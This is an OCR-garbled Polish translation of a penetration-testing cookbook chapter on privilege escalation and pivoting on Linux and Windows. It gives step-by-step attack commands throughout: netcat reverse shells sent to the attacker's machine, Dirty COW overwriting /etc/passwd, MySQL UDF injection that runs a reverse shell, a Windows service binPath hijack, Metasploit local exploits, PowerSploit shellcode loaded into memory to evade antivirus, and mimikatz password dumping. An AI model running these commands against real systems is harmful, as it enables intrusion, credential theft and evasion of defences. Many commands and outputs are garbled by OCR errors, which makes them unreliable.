Co teraz zrobi¢, jesli masz powtoke?
Wprowadzenie

To jest eskalacja uprawnien, zgodnie z opisem w Wikipedii, eskalacja uprawnien to dziatanie polegajace
na wykorzystaniu btedu, wady projektowej lub niedopatrzenia w konfiguracji w systemie operacyjnym
lub aplikacji oprogramowania w celu uzyskania wyzszego dostepu do zasobdw, ktdre sg normalnie
chronione przed aplikacjg lub uzytkownikiem. Powoduje to nieautoryzowany dostep do zasobdw.
Mozliwe sg dwa typy eskalacji uprawnien:

Pozioma: ma to miejsce w warunkach, w ktérych mozemy wykonywaé polecenia lub funkcje, ktére
pierwotnie nie byty przeznaczone dla dostepu uzytkownika, ktory obecnie mamy

Pionowa: tego rodzaju eksploatacja ma miejsce, gdy mozemy eskalowaé nasze uprawnienia do
wyzszego poziomu uzytkownika, na przyktad uzyskujgc uprawnienia roota w systemie

Dowiesz sie o réznych sposoach eskalacji naszych uprawnien w systemach Linux i Windows, a takze
uzyskiwania dostepu do sieci wewnetrznej.

Uruchamianie powtoki TTY

Omowilismy rézne typy eskalacji uprawnien. Teraz przyjrzyjmy sie kilku przyktadom, jak uzyskaé
powtoke TTY w tym systemie. TTY prezentuje proste Srodowisko wyjsciowe tekstu, ktére pozwala nam
wpisywacé polecenia i otrzymywac dane wyjsciowe.

Jak to zrobic...
1. Przyjrzyjmy sie ponizszemu przyktadowi, w ktdrym mamy aplikacje internetowg uruchamiajaca
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2. W zenPHOTO jest juz uruchomiony publiczny exploit, do ktérego uzyskujemy dostep za
posrednictwem ograniczonej powtoki:



:~# php zenphoto.php 192.168.1.150 /zenphoto/

genphoto-shell# ls

1 .auth.php
.file.php
.history.php
.1mage.php
.manager.php

.pagination.php
.search.php
.session.php
.sessionaction.php
.upload.php
onfig.base.php
onfig.php
onfig.tinymce.php
ata.php
unction.base.php

zenphoto-shell#

3. Poniewaz jest to ograniczona powtoka, prébujemy jej unikng¢ i uzyskac¢ potgczenie odwrotne,
najpierw wgrywajgc netcat do systemu, a nastepnie uzywajac netcat, aby uzyskac potgczenie zwrotne:

wget x.x.x.x/netcat —o /tmp/netcat

éenphoto-sheli# wget 192.168.1.148/netcat -0 /tmp/netcat

zenphoto-shell# ls /tmp
1sperfdata_jenkins
1sperfdata_tomcat?7
jetty-0.0.0.0-9000-war- -any-

i na--1712433994

tomcat?7-tomcat7- tmp ‘
#1nstoned824217418080607077.jar

4. Teraz mozemy nawigzac potgczenie zwrotne za pomocg nastepujacego polecenia:

netcat <nasz adres IP> -e /bin/bash <numer portu>

5. Patrzac na nasze okno Terminala, w ktédrym skonfigurowali§my nasz program nastuchujacy,
zobaczymy udane potaczenie:

nc —Invp <numer portu>



listening on [any] 443 ...
).168.1.150: 1nverse host lookup failed: Unknown host
connect to [192.168.1.148] from (UNKNOWN) [192.168.1.150] 36128

1d
u1d=33(www-data) g1d=33(www-data) groups=33(www-data)

Uzyskajmy bardziej stabilng powtoke TTY; zaktadajac, ze jest to system Linux, mamy juz
zainstalowanego Pythona i mozemy uzyskaé powtoke za pomocg tego:

python -c 'import pty; pty.spawn("/bin/sh")'

www-data@canyoupwnme: /var/www$

Teraz mamy o wiele lepszy sposdb wykonywania polecent. Czasami mozemy znalezé sie w sytuacji, w
ktérej powtoka, do ktérej uzyskujemy dostep przez ssh lub inng metode, jest powtoky ograniczona.
Jednga z bardzo znanych ograniczonych powtok jest Ishell, ktdra pozwala nam uruchamia¢ tylko kilka
polecen, takich jak echo, Is, help itd. Ucieczka z Ishell jest fatwa, poniewaz wystarczy wpisac:

echo os.system('/bin/bash')

I mamy dostep do powtoki polecen bez zadnych ograniczen.

Shell Spawning

python -¢ "import pty: pty.apawn("/binfan")

echo os.8ys5tem({ "/bin/bash")

/bin/sh -i

perl —& 'exec "/bin/sh";

porl: exee “"Sbin/ch":

Poszukiwanie stabosci

Teraz, gdy mamy stabilng powtoke, musimy poszukaé luk, btednych konfiguracji lub czegokolwiek, co
pomoze nam w eskalacji uprawnien w systemie. W tym przepisie przyjrzymy sie niektérym sposobom,
w jakie uprawnienia mogg zostac podniesione, aby uzyska¢ dostep do korzenia systemu.

Jak to zrobié...

Podstawowym krokiem, ktéry polecitbym wszystkim po utworzeniu powtoki na serwerze, jest
wykonanie jak najwiekszej liczby wyliczen: im wiecej wiemy, tym wieksza mamy szanse na eskalacje
uprawnien w systemie. Kluczowe kroki eskalacji uprawnien, jak wspomniano w g0Otmilk, w systemie
sg nastepujace:



Zbieranie: wyliczanie, wiecej wyliczania i troche wiecej wyliczania.
Przetwarzanie: sortowanie danych, analiza i ustalanie priorytetéw.
Wyszukiwanie: wiedza, czego szukaé i gdzie znalez¢ kod exploita.

Dostosowywanie: dostosowywanie exploita tak, aby pasowat. Nie kazdy exploit dziata w kazdym
systemie od razu.

Sprobuj: Przygotuj sie na (wiele) prob i btedow.

Przyjrzymy sie niektérym z najpopularniejszych skryptow dostepnych w Internecie, ktére utatwiajg
nam prace, drukujgc wszystko, czego potrzebujemy, w sformatowanej formie. Pierwszym z nich jest
LinEnum, ktéry jest skryptem powtoki utworzonym przez uzytkownika reboot. Wykonuje ponad 65
sprawdzen i pokazuje nam wszystko, czego potrzebujemy na poczatek:

Tl I e
» Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t

OPTIONS:

-k Enter keyword
+ -2 Enter export location

-t Include thorough {lengthy) tests
« -1 Enter report name

+ -h Digplays this help text

Patrzac na kod zrédtowy, zobaczymy, ze wyswietla on informacje takie jak wersja jadra, informacje o
uzytkowniku, katalogi z dostepem dla kazdego uzytkownika itd.:

unameinfo="uname -a 2 /dev/null

if [ "$unanmeinfo" ]; then
echo -e "““e[e®;31mKernel informaticn:\e[#8m\ndunameinfo" |tee -a %report 2>/dev/null
echo -e “\n" |tee -a $report 2x/dev/null

else

fi

procver="cat /proc/version 2»/dev/null

if [ "$procver” ]; then
echo -e ““e[e@;31mKernel informaticn (centinued):\e[@@m\n$procver” |tee -a $report 2>/dev/rull
echo -e “wn" |tee -a $report 2x/dev/null

else
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Nastepny skrypt, ktdrego mozemy uzy¢, to LinuxPrivChecker. Jest napisany w Pythonie. Ten skrypt
sugeruje rowniez exploity eskalacji uprawnien, ktére mozna wykorzysta¢ w systemie:

# Networking Info
print " [+] GETTING NETWORKING INFO...Wn'

netInfo = {"METINFD":{"cmd":"/sbinf/ifconfig -a", "msg":"Interfaces", "results":results},
"ROUTE" : {"cmd" :"route", "msg":"Route", "results":results},
"METSTAT":{"cnd":"netstat -antup | grep —v 'TIME_WAIT'", “"msg":"Metstat", "results":results)}
F

netInfo = execlmd{netInfol
printResultsinetInfal

# File System Info
primt " %] GETTING FILESYSTEM IMFO....n"

driveInfa = ["MOUNT":{"cmd":"mount","msg":"Meunt results", "results":results},
YFSTAR" :{"cnd":"cat setc/fstab Z=/dev/null®, “msg":"fstab entries", “results":results}

1

Kolejny $wietny skrypt zostat stworzony przez ArrOwaya (https:/ / twitter. com/ ArrOway). Udostepnit
go na swoim blogu, https:/ / highon. coffee/ blog/ linux- local- enumeration- script. Mozemy przeczytaé
kod zrédtowy dostepny na blogu, aby sprawdzi¢ wszystko, co skrypt robi:

"$BLUE## $RED fetc/fstab File Contents"

iy it

"£BLUE"

g

iy it

tepsin' "${COLUMNS:—$(tput cols)}" "' | tr * ' '@
iy it

"ENORMAL™

at fetc/fstab

"y
“$BLUE"

tepsin' "${COLUMNS:—$(tput cols)}" "' | tr * ' '@
o gpg

"y

“$RED"

"$BLUE## $RED fetc/passwd File Contents"

Eskalacja pozioma

Nauczytes sie juz, jak uruchomic¢ powtoke TTY i wykonaé enumeracje. W tym przepisie przyjrzymy sie
niektérym metodom, w ktérych mozna wykonac eskalacje poziomg, aby uzyskac¢ wiecej uprawnien w
systemie.

Jak to zrobié...

Mamy tutaj sytuacje, w ktérej mamy odwrdcong powtoke jako www-data. Po uruchomieniu sudo —
list okazuje sie, ze uzytkownik ma prawo otworzy¢ plik konfiguracyjny jako inny uzytkownik, waldo:



% sudo --list
Matching Defaults entries for www-data on ubuntu:
env_reset 3

secure path=/ sbin\:/fusr/local/bin\: /usr/sbin\: fusr/bin%:/sbin\:/bin\:/snap/bin

ser www-data may run the following commands on ubuntu:

) (waldo) NOP VR usr/bin/vim fetc/apache2/sites-available/000-default. conf

(ALL}) NOPASSWD: /sbin/iptables

Wiec otwieramy plik konfiguracyjny w edytorze VI i aby uzyska¢ powtoke w VI, wpisujemy to w wierszu
polecen VI:

Ibash

pwd
Svar/www/html

id
uid=1088(waldo) gid=1880(waldo) groups=1880(waldo),24(cdrom),3
mbashare)

Teraz mamy powtoke z uzytkownikiem waldo. Wiec nasza eskalacja zakorczyta sie sukcesem. W
niektorych przypadkach mozemy réwniez znalez¢ autoryzowane klucze w katalogu ssh lub zapisane
hasta, ktére pomoga nam wykona¢ eskalacje pozioma.

Eskalacja pionowa

W tym przepisie przyjrzymy sie kilku przyktadom, dzieki ktérym mozemy uzyskaé dostep do konta root
na ztozonym komputerze. Kluczem do udanej eskalacji jest zebranie jak najwiekszej ilosci informacji o
systemie.

Jak to zrobié...

Pierwszym krokiem rootowania dowolnego komputera bytoby sprawdzenie, czy istniejg jakies
publicznie dostepne lokalne exploity roota:

1. Mozemy uzyc skryptow, takich jak Linux Exploit Suggester. Jest to skrypt napisany w Perlu, w ktérym
mozemy okresli¢ wersje jadra, a on pokaze nam mozliwe publicznie dostepne exploity, ktérych
mozemy uzy¢, aby uzyska¢ uprawnienia roota. Skrypt mozna pobraé ze strony https:/ / github.com/
Penturalabs/ Linux_ Exploit_Suggester: git clone
https://github.com/Penturalabs/Linux_Exploit_Sugge ster.git



Andrew Davies bug fixes and added cve-2014-0186 Latest commit 9db2f5a on 18 May 20

LICENSE Initial commit 4 yoars a

Linux_Ewploit_Suggestear.pl bug fixes and added cve-2014-0196 3 years g

README.md Update README.md 4 years a
EE README.md

Linux_Exploit_Suggester

Linux Exploit Suggester; based on operating system release number.

This program run without arguments will perfarm 2 "uname -r' to grab the Linux Operating Systems release version,

and return a suggestive list of possible exploits. Nothing fancy, so & patched/back-ported patch may foal this script.
Additionally possible to provide '-k' flag to manually enter the Kernel Version/Operating System Release Version.

This script has been extremely useful on site and in exams. Now Open-sourced under GPLvZ.

2. Teraz przechodzimy do katalogu za pomocg polecenia cd:

cd Linux_Exploit_Suggester/

3. Jest prosty w uzyciu, a wersje jadra mozemy znalez¢ poleceniem:
uname —a

4. Mozemy réwniez uzy¢ skryptédw wyliczeniowych, ktére widzielismy w poprzednim przepisie. Gdy juz
mamy wersje, mozemy jej uzy¢ z naszym skryptem za pomocg nastepujacego polecenia:

perl Linux_Exploit_Suggester.pl -k 2.6.18

:~/Linux Expleit Suggester# pe

kKernel local: 2.6

Sprébujmy uzyé jednego z exploitdw; uzyjemy najnowszego, ktory sie pojawit, czyli brudnej krowy. Oto
definicja brudnej krowy, jak wyjasnia RedHat: znaleziono warunek wyscigu w sposobie, w jaki
podsystem pamieci jadra Linuxa obstugiwat uszkodzenie kopiowania przy zapisie (COW) prywatnych
mapowan pamieci tylko do odczytu. Nieuprzywilejowany uzytkownik lokalny mégtby wykorzystaé te
luke, aby uzyskac dostep do zapisu do mapowan pamieci, ktére w przeciwnym razie bytyby tylko do
odczytu, i w ten sposdb zwiekszy¢ swoje uprawnienia w systemie.



Kod exploita mozna zobaczyé w bazie danych exploitdw pod adresem https:/ / www.exploit-
db.com/exploits/ 40839/ . Ten konkretny exploit dodaje nowego uzytkownika do etc/passwd z
uprawnieniami roota:

ms‘i Home Exploits Shellcode Papers Google Hacking

E-DB Verified: Exploit: § Download fjView Raw  Vulnerable App: 7]

revious Exploit

// EDB-Note: After getting a shell, doing "echc @ > /proc/sys/vm/dirty_writeback_centisecs" may make the
71

// This exploit uses the pokemon exploit of the dirtycow vulnerability

J/ as a base and automatically generates a3 new passwd line.

user will be prompted for the new password when the binary is run,

I/ original /etc/passwd flle is then backed up to /tmp/passwd.bak

J/ and overwrites the root account with the generated line.

// After running the exploit you should be able to login with the newly

// created user.

// The

fTo use this exploit modify the user values according to your needs.
The default is "firefart”.

/ Original exploit (dirtycow's ptrace pokedata "pokemon” method):

https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c

Compile with:
gcc -pthread dirty.c -o dirty -lcrypt

Then run the newly create binary by elther deing:
"./dirty" or "./dirty my-new-password’

/ Afterwards, you can either "su firefart” or "ssh firefart@®..."

/ DON'T FORGE 0 RESTORE YOUR fetc/passwd AFTER RUNNING THE EXPLOIT!
mv /tmp/passwd.bak fetc/passwd

Exploit adopted by Christian "FireFart" Mehlmauer
[ httosi//firefart 2t

Pobieramy exploit i zapisujemy go w katalogu /tmp serwera. Jest napisany w jezyku C, wiec mozemy
go skompilowac za pomocg gcc na samym serwerze, uzywajgc nastepujacego polecenia:

gcc —pthread dirty.c —o <outputname> -lcrypt

wwii- data@Sedna: /tmp$ gee -pthread -o dirty 40839.c -lerypt
gee -pthread -o dirty 40 c -lecrypt

v - dat ftmps . fdirty

Sdirty

fetc/passwd successTully backed up to /tmp/passwd.bak
Plzase enter the new password: firefart

Complete line;
firefart: Tik57036)z/tk:0:0: pwned: /root:/bin/bash

mmap: bB7738000

~C
= |

Zmieniamy uprawnienia pliku (chmod) za pomocg tego:
chmod +x dirty

A nastepnie uruchamiamy go za pomoca ./dirty. Stracimy dostep do backconnect, ale jesli wszystko
pojdzie dobrze, mozemy teraz potgczyc¢ sie przez ssh z komputerem jako root z nazwg uzytkownika
firefart i hastem firefart. Probujemy potaczy¢ sie przez ssh za pomocg tego polecenia:



ssh —I firefart <Adres IP>

:~# ssh -1 firefart 192.168.1.159
firefart@l92.168.1.159"'s password:
Added user Tirefart.

Welcome to Ubuntu 14.84.1 LTS (GNU/Linux 3.13.0-32-generic 1686)

* Documentation: https://help.ubuntu.com/
System information as of Thu Mar 16 99:11:50 EDT 2017

System load: 0.8 Memory usage: 5%  Processes: 60
Usage of /: 20.7% of 7.26GB Swap usage: % Users logged in: @

Graph this data and manage this system at:
https://landscape. canonical . com/

Last login: Sun Mar 12 00:41:47 2017 Trom 192.168.0.126
firefart@Sedna:~# echo 0 > /proc/sys/wm/dirty writeback centisecs

Teraz, dirty cow jest troche niestabilny, ale mozemy uzy¢ tego obejscia, aby go ustabilizowac:

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

Wykonajmy polecenie ID; zobaczymy, ze jesteSmy teraz rootem w systemie!
flrefarf@ﬁedna:~# echo 0 > /proc/sys/vm/dirty writeback centisecs

firefart@Sedna:~# id
uld=8(firefart) gid=0(root) groups=0(root)

Teraz przyjrzyjmy sie innej metodzie osiggniecia roota. W tej sytuacji zatozymy, ze mamy powtoke w
systemie, a skrypty wyliczeniowe, ktdre uruchomiliémy, pokazaty nam, ze proces MySQL jest
uruchomiony jako root w systemie.

192.168.238.130: inverse host lookup failed: Unknown server error
connect to [192.168.238.135] from (UNKNOWN) [192.168,238.130) 33779
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:0¢ 012 1686 GNU/Linux
02:15:51 up 1:46, 1 user, ). C , 0.05

USER TTY FROM .' IDLE JCPL PCPU WHAT
root 144" - §¢ 4:19 9.61ls 0(.31s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)

sh: no job control in this shell

sh-4.1% cd /tmp

MySQL ma funkcje o nazwie User Defined Functions (UDF); przyjrzyjmy sie sposobowi na uzyskanie
uprawnien roota poprzez wstrzykiwanie UDF. Teraz mamy dwie opcje: albo pobrac kod i skompilowac
go na zainfekowanym systemie, albo pobraé¢ wstepnie skompilowany kod z https:/ / github. com/
mysqludf/ lib_ mysqgludf_ sys/ blob/ master/ lib_ mysqgludf_ sys. so.



sh-4.1% 1s

mysqgludf .so

Po pobraniu logujemy sie do bazy danych. Zazwyczaj ludzie pozostawiajg domysine hasto roota puste;
lub mozemy je uzyskac z plikdw konfiguracyjnych aplikacji internetowej dziatajgcej na serwerze. Teraz
tworzymy tabele i wstawiamy nasz plik do tabeli za pomoca nastepujacych polecen:

create table <table name> (hello blob);
insert into <table name> values (load_file('/path/to/mysql.so'));
select * from <table name> into dumpfile

'fusr/lib/mysql/plugin/mysqludf.so’;

use mysql;
¢reate table code (i )}
insert into code values(load_file('/tmp/mysqludf.so’)

select * from code into dumpfile '/usr/11ib/ sql/plugin/mysqludf.so’;
create function sys eval returns integer so e 'mysqludf.so’;

W przypadku systemow Windows polecenia sg takie same; inna bytaby tylko sciezka do MySQL.

Nastepnie tworzymy funkcje sys_eval, ktéra umozliwi nam uruchamianie polecen systemowych jako
uzytkownik root. W przypadku systemu Windows uruchamiamy nastepujgce polecenie:

CREATE FUNCTION sys_eval RETURNS integer SONAME 'lib_mysqludf sys 32.dlIl';
W przypadku systemu Linux uruchamiamy nastepujace polecenie:
CREATE FUNCTION sys_eval RETURNS integer SONAME 'mysqludf.so;

Teraz mozemy uzywac sys_eval do wszystkiego, czego chcemy; na przyktad, aby pofaczy¢ sie z
powrotem, mozemy uzyc¢ tego:

select sys_eval('nc —v <our IP our Port> -e /bin/bash');

1234 -e /bin/bash');]

:~# nc -lvp 1234

listening on [any] 1234
- + inverse host lookup failed: Unknown server
connect to [1 15] from (UNKNOWN) [

10

11d=0(root) gid=0(root)

Istniejg réwniez inne sposoby, takie jak dodanie naszego biezgcego uzytkownika do pliku sudoers.
Wszystko zalezy od naszej wyobrazni.



Przeskakiwanie miedzy weztami — obracanie

Gdy juz jestesmy w jednym systemie w sieci, musimy teraz poszukaé¢ innych maszyn w sieci.
Gromadzenie informacji jest takie samo, jak to, czego nauczyliSmy sie w poprzednich czesSciach.
Mozemy zaczgc¢ od zainstalowania i uzycia nmap, aby poszukac innych hostéw i aplikacji lub ustug. W
tym przepisie poznasz kilka sztuczek, aby uzyska¢ dostep do portu w sieci.

Jak to zrobié...

Zatézmy, ze mamy dostep do powtoki maszyny. Uruchamiamy ipconfig i odkrywamy, ze maszyna jest
wewnetrznie potgczona z dwiema innymi sieciami:

thebobs@Initech-DMZO1:~$ ifconfig
etho Link encap:Ethernet HWaddr 00:0¢:29:59:79:84
inet addr:192.168.1.5 Bcast:192.168.1.255 Mask:255.255.255.0
ineté addr: fe88::20c:297f:1Te59:7984/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:1l
RX packets:6950 errors:© dropped:@ overruns:® frame:0
TX packets:182 errors:0 dropped:0 overruns:@ carrier:0
collisions:0 txqueuelen:1000
RX bytes:436168 (436.1 KB) TX bytes:21779 (21.7 KB)

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.6.0.9

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:® errors:0 dropped:0 overruns:0 frame:®
TX packets:0 errors:@ dropped:@ overruns:® carrier:8
collisions:® txqueuelen:l

RX bytes:0 (0.8 B) TX bytes:0 (0.9 B)

Link encap:Ethernet HWaddr fe:54:00:4b:73:5f

inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255,255.0
UP BROADCAST RUNNING MULTICAST MTU:1580 Metric:l

RX packets:24 errors:0 dropped:® overruns:0 frame:0

IX packets:13 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:2796 (2.7 KB) TX bytes:2059 (2.6 KB)

Teraz skanujemy sie¢ za pomocg nmap i znajdujemy kilka maszyn z kilkoma otwartymi portami.
Poznates fajny sposdb na przechodzenie do sieci, dzieki czemu mozemy uzyskaé dostep do aplikacji
dziatajgcych za inng siecig na naszej maszynie. Przekierujemy port ssh za pomocy nastepujgcego
polecenia:

ssh —L <nasz port> <zdalny adres IP> <zdalny port> username@IP

:~# ssh -L 9001:192.168.122.65:80 thebobs@192.168.1.5D

Gdy juz to zrobimy, otwieramy przegladarke i przechodzimy do uzytego numeru portu:
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Bedziemy miec¢ dostep do aplikacji dziatajgcej na zdalnym hoscie.
Jest jeszcze wiecej...

Istniejg inne sposoby przekierowania portdw; na przyktad uzycie proxychains pomoze Ci dynamicznie
przekierowac porty dziatajgce na serwerze w innej podsieci sieciowe;j.

Eskalacja uprawnien w systemie Windows

W tym przepisie poznasz kilka sposobdw uzyskania konta administratora w systemie Windows Server.
Istnieje wiele sposobdw uzyskania uprawnien administratora w systemie Windows. Przyjrzyjmy sie
kilku sposobom, w jakie mozna to zrobi¢.

Jak to zrobié...

Gdy juz mamy meterpreter w systemie, Metasploit ma wbudowany modut do wyprdébowania trzech
réoznych metod uzyskania dostepu administratora. Najpierw zobaczymy niestawny getsystem
Metasploit. Aby wyswietlié pomoc, wpisujemy:

getsystem —h



meterpreter > getsystem -h
Uzage: getsysten [optionz]

Attempt to elevate your privilege to that of local system.

OPTIONS:

-h Help Banner.
-t =gpt> The techmigue to use. (Default to "@"').
@ : All techniques available
1 Service — Named Pipe Impersonation (In Memory/Admin)
2 : Service — Named Pipe Impersonation {Dropper/Adnim)
3 : Service — Token Duplication (Im Memory/Admin)

meterpreter =

Aby sprébowac uzyskaé uprawnienia administratora, wpisujemy nastepujgce polecenie:

getsystem

Widzimy, ze teraz jesteSmy w NT AUTHORITY\SYSTEM. Czasami ta technika moze nie dziataé, wiec
probujemy innego sposobu, aby uzyska¢ system na maszynie. Przyjrzymy sie kilku sposobom
rekonfiguracji ustug Windows. Uzyjemy sc (znanego jako service configuration) do skonfigurowania
ustug Windows. Przyjrzyjmy sie ustudze upnphost:

sc qc upnphost

s and Sattings\test\Desktop>sc gc upnphost

CAWINDOWS\systen32\svchost .exe -k LocalService

DISPLAY NAR : i 51 Plug and Play Device Host

: NT AUTHORITY\LocalService

Najpierw wgrywamy nasz plik binarny netcat do systemu. Gdy to zrobimy, mozemy zmienié Sciezke
binarng dziatajacej ustugi za pomoca naszego pliku binarnego:

sc config upnphost binPath= "<$ciezka do netcat>\nc.exe -nv <nasz adres IP> <nasz port> -e
C:\WINDOWS\System32\cmd.exe"



coConfig SUCCESS

I

qa'flhj\'tb\lﬂﬁuaxlnp)'

sc konfiguracja upnphost obj=".\LocalSystem" hasto=""

uments and S
onfig upnrp 5

ChangeServicaeConfig S

s.and Settin

[SC] GetServiceConflg S

SERVICE_NAME :

2 iprphost
TYPE

CONTRDI
Y PATH NAME

ART_NAME

C:\Documents and Settings\test\Dssktop=>

config uprphost cbj= ".\Loca

v 192.168.11G.41 1234 -e

Plug and Play Device Host

LocalSystem

192 .168.110.41

ws\Systen32\cnd.exe

" SRS
passwora

Windows\

Teraz musimy ponownie uruchomi¢ ustuge, a gdy to zrobimy, powinnismy mieé potaczenie zwrotne z

uprawnieniami administratora:

net start upnphost

Zamiast netcat, mozemy réwniez uzy¢ polecenia net user add, aby doda¢ nowego uzytkownika
administratora do systemu, miedzy innymi. Teraz wyprébujmy inng metode: Metasploit ma wiele
réznych lokalnych exploitow dla eksploatacji systemu Windows. Aby je wyswietli¢, wpisujemy
msfconsole use exploit/windows/local <tab>.
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Uzyjemy kitrapOd do eksploatowania. Uzyj exploit/windows/local/ms10_015_kitrapOd. Ustawiamy
naszg sesje i tadunek meterpretera:

msT exploit(ms10_@15_kitrap@d) > set SESSION 1
msf exploit({ms10_015_kitrap@d) = set PAYLOAD windows/meterpretersreverse_tcp
msf exploit({ms10_@15_kitrap@d) = set LHOST 192.168.110.6
msT exploit(ms1e_@15_kitrap@d) > set LPORT 4443
msf exploit{msl0_@15_kitrap@d) > show options
Module options (exploit/windows/local/msl@_@15_kitraped):
Name Current Setting Required Description

SESSION 1 yes The session to run this module on.

Payload options (windows/meterpreter/reverse_tcp)

Hame Current Setting Required Description

EXITFUNC process 5 Exit technigue {accepted: seh, thread, process, none)
LHOST 192.168.110.6 yas The listen address
LPORT 44473 25 The listen port

Expleit target:

Id Mame

@ Windows 2K SP4 — Windows T (xBG)

Nastepnie uruchamiamy exploit:



msf exploit(ns18_0815_kitrapBd) » exploit

[#] Started reverse handler on 192.168.110.6:4443

[*] Launching notepad to host the exploit...

[+] Process 4848 launched.

[#] Reflectively injecting the exploit DLL into 4848...

| i ing exploit into 4848 ...

[=] ] t imjected. Imjecting payload Lnto 4848...

[=] ayl i ected. Executing ex

[+1 finishe it for (hopefully privileged) payload execution to complete.

[*1 Sending stage (7€ 4 bytes) to 197, 16H.118.7

[«] Meterpreter session 2 opened (192.168.118.52444% —s 192.168.110.7:40284) at 2817-#3-11 11:14:88 -A188

meterpreter » getuid
Server username: MNT AUTHORLTY\SYSTEM

Mamy administratora. Uzyjmy jeszcze jednego exploita: niestawnego bypassuac:

use exploit/windows/local/bypassuac

> use exploit/windows/loc
- on 1

2.168,116.41:4444

sotting, continuing...

Korzystanie z PowerSploit

Wraz z wprowadzeniem PowerShell pojawity sie réwniez nowe sposoby wykorzystania maszyn
Windows. Jak opisuje Wikipedia, PowerShell (w tym Windows PowerShell i PowerShell Core) to
platforma automatyzacji zadan i zarzadzania konfiguracjg firmy Microsoft, sktadajgca sie z powtoki
wiersza polecen i powigzanego jezyka skryptowego zbudowanego na platformie .NET Framework. W
tym przepisie uzyjemy PowerSploit, ktéra jest opartg na PowerShell platformg do pdzniejszej
eksploatacji, aby uzyskac dostep do meterpretera w systemie.

Jak to zrobic...
Oto kroki, aby uzy¢ PowerSploit:

1. Zatézmy teraz sytuacje, w ktérej mamy srodowisko oparte na systemie Windows, w ktérym udato
nam sie uzyskac¢ dostep do powtoki. Nie mamy uprawnien administratora w systemie.

2. Przyjrzyjmy sie fajnemu sposobowi na uzyskanie meterpretera bez faktycznego pobierania pliku w
systemie za pomocg PowerSploit. Jest on wbudowany w Kali w Menu.



Favorites

backdoor-fac tary

01 - Information Gathering
bofproxy

02 - Vulnerability Analysis

Web Application Analysis Intersact

q - Database Assessmant nishang
05 - Password Attacks
p::-wF-r'ar.-I-::-iI

06 - Wireless Attacks
Reverse Enginesring
Exploitation Tools waevely

09 - 5niffing & 5Spoofing

10 - Post Exploitation

3. Sztuczka polega na pobraniu skryptu PowerShell i zatadowaniu go do pamieci, a poniewaz nigdy nie
jest on zapisywany na dysku twardym, program antywirusowy go nie wykryije.

4. Najpierw sprawdzamy, czy PowerShell jest zainstalowany, uruchamiajgc powershell:

O Micro=oft Corporation. ALl rlights reserved.

5. Uzyjemy polecenia. Wazne jest uzycie pojedynczych cudzystowdw; w przeciwnym razie mozemy
otrzymad btad brakujgcego nawiasu: powershell IEX (New-Object Net.WebClient).DownloadString
(‘https://raw.githubusercontent.com/PowerShellMafia/ PowerSploit/master/CodeExecution/Invoke-
Shellcode.ps1')

Caislsers™ » 1ER <Heu—0Ohject Het.WebClient>.DownloadString< " https:
-githubusercontent .comsmattifestationsFoveriploit-master-CodeExecution/Invoke

-—5hellcode. psl''>

6. Nie powinnismy widzie¢ zadnego btedu. Teraz, gdy nasz skrypt jest juz gotowy, wywotujemy modut
i widzimy pomoc za pomocg nastepujacego polecenia:

Get-Help Invoke-Shellcode



NAME
Invoke-5hellcode
EYNOPEIE

Inject zhellcode into the process ID of your chooszing or within the context
of the *unning PowerShell process.

PowerSploit Function: Invoke—-Shellcode
raeher (Emattifestation?

BYNTAX
Invoke-Shellcode [—ProcesszsID <UInti6>]1 [-Shellcode <{Bytel[l>*]1 [-Forcel [-Wha
tIf1 [Confirml ommonParameters >

Invoke=5hellcode [-ProcessID <UIntle>] [-Pavload <8trina?>] —Lhost <S8trina>

7. Teraz uruchamiamy modut:
powershell Invoke-Shellcode -Payload
windows/meterpreter/reverse_https -Lhost 192.168.110.33

-Lport 4444 —Force

powerghell Invake-Shellcade —Payload windows/neterpreterf/reverse_https —Lhost 192.16E.118.33 —Lport 4444 —Force

8. Przed uruchomieniem poprzedniego skryptu uruchamiamy nasz program obstugi.

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 192.168.110.33

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit

9. Teraz powinnismy mie¢ miernik.

[#] Starte verse handler on https://0.0.0.0:=4444/

[%] load handler...

[+] i Request received for FINITM...

[=] 68 .1. @ Staging conn n for target fINITM received...

[=] uzer-agent at offzet

[#] P; ed tramsport at offzet f

[=] tched URL at offzet 6633B4...

[+] Patched Expiration Timeput at offset 6

[+] Patched Communication Timeout at offs 6@. ..

|*] Meterpreter session 1 opened (192.158.118.33:4444 —= 103.168.1318.5:40238) at 2817-04-05 @0:35:108 -A500

neterpreter =

10. Teraz, skoro mamy meterpreter, mozemy uzy¢ dowolnego z wczesniej wymienionych przepisow,
aby uzyskaé uprawnienia systemowe.

Jest tego wiecej...

PowerSploit ma wiele modutéw PowerShell, ktére mozna wykorzysta¢ do dalszych zastosowan, takich
jak uzyskiwanie uprawnien, omijanie programu antywirusowego itd.

Wycigganie haset w postaci zwyktego tekstu za pomocg mimikatz



Teraz, gdy mamy meterpreter, mozemy go uzy¢ do zrzucania haset z pamieci. Mimikatz jest do tego
Swietnym narzedziem. Prébuje i zrzuca hasto z pamieci. Jak zdefiniowat sam twdrca mimikatz:

,Zostat stworzony w Ci jest uwazany za eksperyment z zabezpieczeniami systemu Windows”. Obecnie
jest dobrze znany z wyciggania haset w postaci zwyktego tekstu, skrétu, kodu PIN i biletédw Kerberos z
pamieci. Mimikatz moze rowniez wykonywac pass-the-hash, pass-the-ticket lub budowac ztote bilety”.

Jak to zrobié...

Oto kroki, aby uzyé mimikatz:

1. Gdy mamy juz meterpreter i uprawnienia systemowe, tadujemy mimikatz za pomoca tego polecenia:

load mimikatz

meterpreter

» help mimikatz

Mimikatz Commands

Command

kKerberos Attempt to
Livess Attempt to

Description

retrieve kerberos

retrieve livess

mimikatz command Run a custom command

msv Attempt to
Attempt to
Attempt to
Attempt to

2. Aby wyswietli¢ wszystkie opcje, wpisujemy polecenie:

help mimikatz

